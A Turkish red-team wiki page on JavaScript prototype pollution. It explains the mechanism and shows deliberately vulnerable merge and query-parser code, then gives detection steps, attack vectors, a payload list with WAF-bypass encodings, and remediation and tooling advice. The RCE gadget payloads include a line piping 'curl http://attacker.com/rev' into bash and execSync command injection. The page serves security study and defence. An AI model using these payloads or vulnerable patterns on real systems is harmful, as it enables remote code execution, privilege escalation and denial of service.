AltaySec Wiki Prototype Pollution   ·   AltaySec Araştırmalar

Prototype Pollution

root@altaysec:~# whoami
> Yazar: Kerem Vatansever

Prototype Pollution, JavaScript'in dinamik, prototip tabanlı kalıtım (prototype-based inheritance) mimarisindeki temel bir tasarım zafiyetidir. Modern Red Team operasyonlarında bu zafiyet; sunucu tarafında (Node.js) Uzaktan Kod Yürütme (RCE) ve Hizmet Reddi (DoS), istemci tarafında ise Web Application Firewall (WAF) filtrelerini atlayarak karmaşık DOM tabanlı Siteler Arası Komut Dosyası Çalıştırma (DOM XSS) zincirleri oluşturmak için kullanılan stratejik bir atlama taşıdır. JavaScript'te neredeyse tüm nesneler, kök nesne olan Object.prototype'tan miras alır. Bir saldırgan, bu global prototip yapısına müdahale edip manipüle edebildiğinde, çalışma zamanındaki (runtime) tüm nesnelerin -henüz oluşturulmamış olanlar dahil- kalıtım özelliklerini zehirleyebilir.

Bu zafiyet, nesne yönelimli dillerdeki (Java, C#) statik sınıf mimarisinin aksine, JavaScript motorlarının (V8, SpiderMonkey) nesneleri bellekte "Gizli Sınıflar" (Hidden Classes / Maps) ve dinamik özellik ağaçları olarak tutmasından kaynaklanır. AST (Abstract Syntax Tree) ayrıştırma süreçlerinde, kullanıcı girdisindeki sihirli değişkenlerin (__proto__, constructor, prototype) filtrelenmeden doğrudan bellek referanslarına dönüştürülmesi kirliliğe yol açar.

How It Works (Teknik Analiz)

JavaScript motorları (örneğin Google V8), nesne özelliklerine erişim sağlarken bir kalıtım zincirini takip eder. Bir obj.propertyName çağrısı yapıldığında, motor önce bu özelliğin obj'nin kendisine ait olup olmadığını kontrol eder. Eğer bulamazsa, obj.__proto__ referansını takip ederek nesnenin prototipine bakar. Bu arama, zincirin sonu olan null değerine (genellikle Object.prototype.__proto__) ulaşana kadar devam eder.

Zafiyetin kök nedeni, uygulamaların dışarıdan gelen (JSON formları, URL parametreleri) yapılandırılmamış verileri ayrıştırırken ve mevcut nesnelerle birleştirirken (recursive merge, deep clone) anahtar isimlerini sterilize etmemesidir. Saldırgan girdi olarak __proto__ anahtarını gönderdiğinde, zafiyetli fonksiyon bunu sıradan bir string (key) olarak değil, doğrudan nesnenin kalıtım işaretçisi olarak değerlendirir.

Sonuç olarak target[key] = value işlemi, target['__proto__'] = { "malicious": "payload" } formuna bürünür. Bu operasyon, uygulamanın global Object.prototype nesnesine yeni bir özellik yazar. Artık sistemdeki, tamamen alakasız fonksiyonlar tarafından üretilen boş nesneler ({}) dahil tüm nesneler, malicious özelliğini kendi içlerinde barındırır.

Vulnerable Code Patterns

Aşağıdaki örnekler, sahada en sık karşılaşılan zafiyetli kod mimarilerini göstermektedir.

// Örnek 1: Zafiyetli Recursive Merge (Derin Birleştirme)
// Gelen verideki __proto__ anahtarı filtrelenmez ve doğrudan referans alınır.
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]); // AST Sink Point
        } else {
            target[key] = source[key];
        }
    }
    return target;
}
// Örnek 2: Zafiyetli URL Parametre Ayrıştırıcısı (jQuery deparam varyasyonu)
// URL'den gelen ?param[__proto__][admin]=true yapısı ayrıştırılırken kirlilik oluşur.
function deparam(queryString) {
    let result = {};
    let params = new URLSearchParams(queryString);
    
    for (let [key, value] of params.entries()) {
        let keys = key.split(/\]\[|\[|\]/).filter(k => k);
        let current = result;
        
        for (let i = 0; i < keys.length - 1; i++) {
            if (!current[keys[i]]) current[keys[i]] = {};
            current = current[keys[i]]; // Prototype traversal occurs here
        }
        current[keys[keys.length - 1]] = value;
    }
    return result;
}

Detection & Enumeration (Keşif ve Analiz)

Prototip kirliliğini tespit etmek, uygulamanın siyah kutu (Black-Box) testleri sırasında gönderilen özel payload'lara nasıl tepki verdiğini izlemeyi gerektirir.

Manuel Keşif Metodolojisi:

  1. Girdi Noktalarının Tespiti: Uygulamanın JSON kabul ettiği API uç noktaları, karmaşık URL sorgu parametreleri (örn: ?a[b][c]=1), Web Socket mesajları ve location.hash değerini okuyan istemci tarafı bileşenleri belirlenir.
  2. Statik Değer Enjeksiyonu: Zararsız, uygulamayı çökertmeyecek ancak varlığı kanıtlanabilir bir özellik (örn: {"__proto__":{"test_pp":"success"}}) sisteme enjekte edilir.
  3. Yansıma (Reflection) Kontrolü: İstemci tarafında console.log(Object.prototype.test_pp) çağrısı ile değerin global prototipe yerleşip yerleşmediği kontrol edilir. Sunucu tarafında ise geri dönen JSON yanıtlarında (örneğin normalde dönmeyen nesnelerde) test_pp anahtarının belirmesi gözlemlenir.
  4. Error-Based Inference (Hata Tabanlı Çıkarım): Sunucu tarafında keşif yaparken, var olan özellikleri bozacak yükler gönderilir. Örneğin {"__proto__":{"toString":"string_value"}} gönderilip, sunucunun 500 Internal Server Error verip vermediği (Uygulamanın nesneleri string'e çevirmeye çalışırken çökmesi) test edilir.

Attack Vectors & Exploitation (İstismar Vektörleri)

Client-Side Prototype Pollution (DOM XSS)

İstemci tarafında hedef, "Gadget" adı verilen zafiyetli kod parçacıklarını bulmaktır. Gadget'lar, geliştiricinin bir özelliğin varlığını (undefined kontrolü) doğrulayıp, yoksa varsayılanı kullanacağı ancak kirlenmiş prototip zinciri nedeniyle saldırganın kontrolündeki değeri alıp doğrudan DOM sink'lerine (innerHTML, srcdoc, eval, setTimeout) gönderdiği yapılardır.

Örneğin, Vue.js, jQuery, reCAPTCHA veya Google Analytics kütüphanelerinin belirli sürümleri, ayrıştırma sırasında global nesneden özellikleri çeker. Saldırgan Object.prototype.srcdoc özelliğini zehirlediğinde, sayfada oluşturulan herhangi bir dinamik iframe doğrudan bu zararlı içeriği çalıştıracaktır.

Server-Side Prototype Pollution (RCE)

Node.js ortamlarında RCE (Uzaktan Kod Yürütme) elde etmek için saldırgan, Node.js çekirdek kütüphanelerinin (özellikle child_process.spawn, child_process.exec veya fork) opsiyon nesnelerini hedefler. Geliştirici, process oluştururken environment (env) veya shell parametrelerini belirtmemişse, bu opsiyonlar prototip zincirinden miras alınır.

Saldırgan prototipi {"__proto__":{"shell":"node","env":{"NODE_OPTIONS":"--require /proc/self/environ"}}} şeklinde zehirleyerek standart işletim sistemi komutlarını Node.js süreçlerine dönüştürüp kod yürütebilir.

Authorization Bypass & Privilege Escalation (Yetki Yükseltme)

İş mantığı (Business Logic) katmanında, geliştiriciler sıklıkla nesne özelliklerine dayalı kararlar alırlar. Yetkilendirme kontrolleri sırasında kullanıcı nesnesinin isAdmin, role veya permissions gibi anahtarları kontrol ediliyorsa ve nesne oluşturulurken bu anahtarlara kesin bir değer atanmamışsa, prototipten gelen değer devreye girer. Prototipi {"__proto__": {"isAdmin": true}} şeklinde kirleten bir saldırgan, sistemdeki tüm oturum açmış kullanıcıların (veya oturum açmamış ziyaretçilerin) sistem tarafından "Yönetici" olarak algılanmasını sağlayabilir.

Denial of Service (DoS)

Uygulamanın çalışmasını durdurmak (DoS), prototip kirliliğinde ulaşılabilecek en kesin sonuçlardan biridir. Saldırgan, nesnelerin temel metotlarını ezerek (override) JavaScript motorunun hata fırlatmasına neden olur. Örneğin {"__proto__": {"toString": null}} veya {"__proto__": {"hasOwnProperty": "corrupted"}} yükleri sisteme ulaştığında, konsolda obje metotlarına ihtiyaç duyan herhangi bir işlem anında TypeError: obj.toString is not a function hatası verecek ve Node.js sunucusunun Event Loop'unu çökertecektir.

Payloads & Advanced Commands

Aşağıdaki payload listesi, farklı mimari gereksinimler ve WAF filtrelerini aşmak üzere çeşitlendirilmiştir.

JSON-Based Payloads (API & WebSockets)

// Temel Kirlilik (Direct Assignment)
{"__proto__": {"polluted": "pwned"}}

// Constructor Zehirlenmesi (Constructor poisoning)
{"constructor": {"prototype": {"isAdmin": true}}}

// Derin Prototip Zinciri Zehirlenmesi
{"constructor": {"prototype": {"__proto__": {"role": "admin"}}}}

// Array Manipülasyonu (Dizilerin özelliklerini bozma)
{"__proto__": []}
{"__proto__": {"length": 10000}}

// Obfuscated JSON Kirliliği (Filtre atlatmak için boşluk ve alt satır kullanımı)
{
  "__proto__" : {
    "test" : true
  }
}

URL / Query String Payloads (GET Requests & Hash)

# Bracket Notation (Standart Dizi Notasyonu)
?__proto__[isAdmin]=true
?__proto__[srcdoc]=<script>alert(1)</script>

# Dot Notation (Nokta Notasyonu)
?__proto__.isAdmin=true
?constructor.prototype.isAdmin=true

# Karmaşık İç İçe Geçmiş Parametreler
?config[__proto__][timeout]=0
?user[constructor][prototype][role]=superadmin

# URL Kodlu ve Çift Kodlu Varyasyonlar (WAF Bypass)
?%5f%5fproto%5f%5f[admin]=true
?%255f%255fproto%255f%255f[admin]=true

# jQuery Deparam Spesifik Varyasyonlar
?__proto__[test][]=1

RCE Gadget Payloads (Node.js)

// child_process.spawn() shell override
{"__proto__": {"shell": true, "script": "curl http://attacker.com/rev | bash"}}

// NODE_OPTIONS zehirlenmesi
{"__proto__": {"env": {"NODE_OPTIONS": "--inspect=0.0.0.0:1337"}}}

// child_process args override
{"__proto__": {"argv0": "node", "args": ["-e", "require('child_process').execSync('touch /tmp/pwned')"]}}

Bypass & Obfuscation (Atlatma Teknikleri)

Geliştiriciler veya WAF sistemleri genellikle statik bir kara liste (blacklist) yaklaşımı kullanarak sadece __proto__ string'ini filtrelerler. Saldırganın bu tür zayıf filtreleri aşması için kullanabileceği taktikler:

  1. Constructor Property Chaining: __proto__ anahtarı tamamen engellenmiş veya silinmişse, her JavaScript fonksiyonunun sahip olduğu constructor nesnesi üzerinden aynı bellek alanına ulaşılır.
    • Kullanım: constructor.prototype
    • Örnek: {"constructor": {"prototype": {"polluted": true}}}
  2. Obfuscated Notation (Notasyon Gizleme): JSON.parse yerine kütüphanelerin kendi özel parser'larını (örneğin deparam) kullanan sistemlerde nokta (.) notasyonu yerine köşeli parantez ([]) notasyonu kullanılabilir veya tam tersi.
    • Kullanım: constructor["prototype"]["polluted"] = true
  3. Unicode ve Hex Encoding: URL tabanlı alıcılar için karakterler dönüştürülür.
    • Unicode: \u005f\u005fproto\u005f\u005f
    • Hex: %5f%5fproto%5f%5f
  4. Prototype Chain Iteration Bypass: Filtreler sadece ilk seviyeyi kontrol ediyorsa (örn: if (key === '__proto__') continue;), zincir çoklu derinlikle aşılabilir.
    • Örnek: foo.__proto__.__proto__.polluted = true (İkinci derinliğin nesne kalıtımını hedef alması sağlanır).
  5. Type Confusion: Filtreler sadece string değerleri reddediyorsa ve zafiyetli fonksiyon anahtarları cast (tip dönüşümü) ediyorsa, diziler (arrays) gönderilerek anahtar kontrolü atlatılabilir.

Remediation & Prevention (Önleme ve Savunma)

Bu zafiyeti kalıcı olarak önlemek, uygulamanın mimarisinde "Defence in Depth" (Derinlemesine Savunma) ilkelerini uygulamayı gerektirir. Blue Team ve geliştiriciler için kritik önlemler şunlardır:

  1. Prototipsiz Nesneler (Null-Prototype Objects): Sözlükler (dictionaries) ve dış girdiyi tutan nesneler oluşturulurken {} (Object Literal) yerine kalıtımı olmayan nesneler kullanılmalıdır.
    • Güvenli: const obj = Object.create(null); Bu sayede obj.__proto__ değeri tamamen undefined olacak ve kalıtım zinciri kırılacaktır.
  2. Nesneleri Dondurma (Object Freezing): Uygulama başlatılırken kritik global nesneler dondurulmalıdır. Bu, Object.prototype üzerine yeni özelliklerin yazılmasını imkansız hale getirir.
    • Uygulama: Object.freeze(Object.prototype); (Dikkat: Bazı eski kütüphanelerde çöküşe neden olabilir, dikkatli test edilmelidir).
  3. Map Veri Yapısının Kullanımı: Anahtar-değer çiftleri için standart Object yerine Map veya Set nesneleri kullanılmalıdır. Map yapıları, prototip zafiyetlerine karşı doğal olarak bağışıktır.
    • Güvenli: const config = new Map(); config.set('key', value);
  4. Schema Validation (Şema Doğrulaması): Joi, Zod veya Yup gibi kütüphaneler kullanılarak kullanıcı girdisi (JSON objeleri) katı bir şekilde (Strict Mode) doğrulanmalıdır. Şemada tanımlanmayan hiçbir ek özelliğin (unknown properties) alınmasına izin verilmemelidir.
  5. Node.js Core Koruması (Node.js Flags): Node.js ortamında uygulamanın argümanlarla başlatılarak sihirli işaretçilerin kapatılması sağlanmalıdır.
    • Komut: node --disable-proto=delete app.js (Bu işlem __proto__ özelliğini tamamen bellekten siler).

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
DOM Invader PortSwigger'ın tarayıcı uzantısıdır. İstemci tarafı XSS sink'lerini ve PP kaynaklarını dinamik analizle bulur. Arayüz üzerinden 'Prototype Pollution' sekmesi aktifleştirilir.
PPScan Belirtilen bir web sitesindeki istemci tarafı prototip kirliliği gadget'larını otomatik olarak tarayan betik. node ppscan.js -u https://target.com
Semgrep Kaynak kod analizi yaparak (SAST) Node.js/JS tarafındaki merge, clone gibi zafiyetli kalıpları tespit eder. semgrep --config p/javascript target_directory/
Wappalyzer Hedefte kullanılan ve potansiyel olarak zafiyet barındıran kütüphanelerin (örn: eski lodash, jQuery) sürüm keşfi. Arayüz eklentisi ile statik sürüm okuması.
NodeJsScan Node.js uygulamaları için geliştirilmiş statik kod analizi (SAST) motorudur. AST manipülasyonlarını yakalar. njsscan --json -o output.json target_dir/

Yazar: Kerem Vatansever · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv